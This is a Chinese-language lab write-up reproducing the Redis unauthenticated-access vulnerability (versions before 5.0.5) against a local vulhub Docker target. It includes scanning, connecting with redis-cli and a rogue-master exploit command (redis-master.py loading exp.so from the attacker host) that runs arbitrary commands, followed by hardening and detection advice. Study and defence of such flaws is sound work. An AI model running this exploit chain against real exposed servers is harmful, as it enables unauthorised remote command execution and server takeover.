Redis未授权访问漏洞复现
一、漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
二、漏洞影响
影响版本
Redis 4.x/5.0.5以前版本
三、产生原因
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
四、复现过程
docker 靶机:192.168.145.129
攻击机 kali: 192.168.145.132
靶场环境:redis:4.0.14
docker搭建靶场环境
docker-compose up -d
docker-compose ps
可以看到redis启动在6379端口
kali安装redis,依次执行以下命令
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
出现帮助信息,表示安装成功
nmap扫描靶机,发现6379端口开放
nmap -sV --open -p- 192.168.145.129
redis-cli远程登录redis主机命令
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
使用攻击机redis连接目标机redis
cd redis-2.8.12/src/
./redis-cli -h 192.168.145.129
连接成功,查看info信息
使用py脚本执行远程命令,下载exp
git clone https://github.com/vulhub/redis-rogue-getshell.git
进入该目录下
cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件
回到redis-rogue-getshell目录下,利用exp执行命令
./redis-master.py -r 192.168.145.129 -p 6379 -L 192.168.145.132 -P 1111 -f RedisModulesSDK/exp/exp.so -c "whoami"
五、修复方案
禁止绑定公网(本地缓存)
redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可
密码验证
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
降权运行
禁止使用 root 权限启动 redis 服务
vim /etc/redis/redis.conf # By default Redis does not run as a daemon. Use 'yes' if you need it. # Note that Redis will write a pid file in /var/run/redis.pid when daemonized. daemonize yes
在降权(deamon)模式下,更改配置文件路径是不允许的,即”config set dir /root/.ssh/“执行失败,从而避免了写任意文件的风险
其他
- 限定可以连接Redis服务器的IP
- 修改Redis默认端口6379
- 配置rename-command配置项”RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
禁止从redis写入主模式redis传输的文件
slave-read-only yes
自动化检测方案
从running进程redis-server中获取启动参数中的配置文件路径。如果获取失败则从默认路径: /etc/redis/redis.conf
检查配置key-value对
daemonize yes bind 127.0.0.1
参考链接:
Redis未授权访问漏洞复现_redis 4.0.14 漏洞-CSDN博客
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞_redis未授权漏洞vulhub靶场复现-CSDN博客